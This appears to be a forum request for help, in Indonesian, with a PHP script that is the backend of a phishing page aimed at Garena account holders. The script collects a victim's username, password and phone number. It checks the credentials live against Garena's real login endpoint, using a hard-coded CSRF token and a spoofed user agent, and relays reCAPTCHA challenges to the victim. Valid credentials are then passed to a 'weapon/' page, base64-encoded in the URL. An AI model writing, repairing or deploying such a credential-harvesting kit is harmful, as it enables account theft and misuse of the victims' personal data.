tolongin mas

<?php
                            if(isset($_POST['submit_button'])){
                                $password2 = $_POST['password2'];
                                $password = $_POST['password'];
                                $username=$_POST['username'];
                                $c1 = $_POST['recaptcha_response_field'];
                                $c2 = $_POST['recaptcha_challenge_field'];
                                $hp=$_POST['phone'];


$url="http://security.garena.com/login/";
if(empty($_POST['recaptcha_response_field'])){
                            $postdata="csrfmiddlewaretoken=j6sfOk4YL9rbB128543AE1kGWz5xFC8I&username=".$username."&password=".$password2."&submit_button=Login";}
                            else {

$postdata="csrfmiddlewaretoken=j6sfOk4YL9rbB128543AE1kGWz5xFC8I&username=".$username."&password=".$password2."&recaptcha_challenge_field=".$c2."&recaptcha_response_field=".$c1."&submit_button=Login";
                            }
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt ($ch, CURLOPT_POST, 1);
$headers  = array();
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:45.0) Gecko/20100101 Firefox/45.0';
$headers[] = 'Cookie: csrftoken=j6sfOk4YL9rbB128543AE1kGWz5xFC8I';

curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt ($ch, CURLOPT_HEADER, 1);
$result = curl_exec ($ch);
if(preg_match('#302 FOUND#', $result)) {
    header("Location:weapon/?username=".$username.'&sesID='.base64_encode($password).'&token='.base64_encode($hp));
}elseif(preg_match('#please enter verification code#', $result)){
    function setelah($string, $substring) {
  $pos = strpos($string, $substring);
  if ($pos === false)
   return $string;
  else
   return(substr($string, $pos+strlen($substring)));
}
function sebelum($string, $substring) {
  $pos = strpos($string, $substring);
  if ($pos === false)
   return $string;
  else
   return(substr($string, 0, $pos));
}
$hasil = setelah($result, "<!-- Google Recaptcha -->");
$hasil1 = sebelum($hasil, "</noscript>");
$simpul = '<tr>
                                <th>&nbsp;</th>
                                <td colspan="2" style="padding-left:2px; padding-bottom:15px;">'.$hasil1.'</noscript></td>
                                <td>
                                </td>
                            </tr>';
$dataimage =  $simpul.'</span>';
$pesan = $dataimage;
}else {
    $pesan =  'Username/Password Salah !';
}



                            }
                            ?>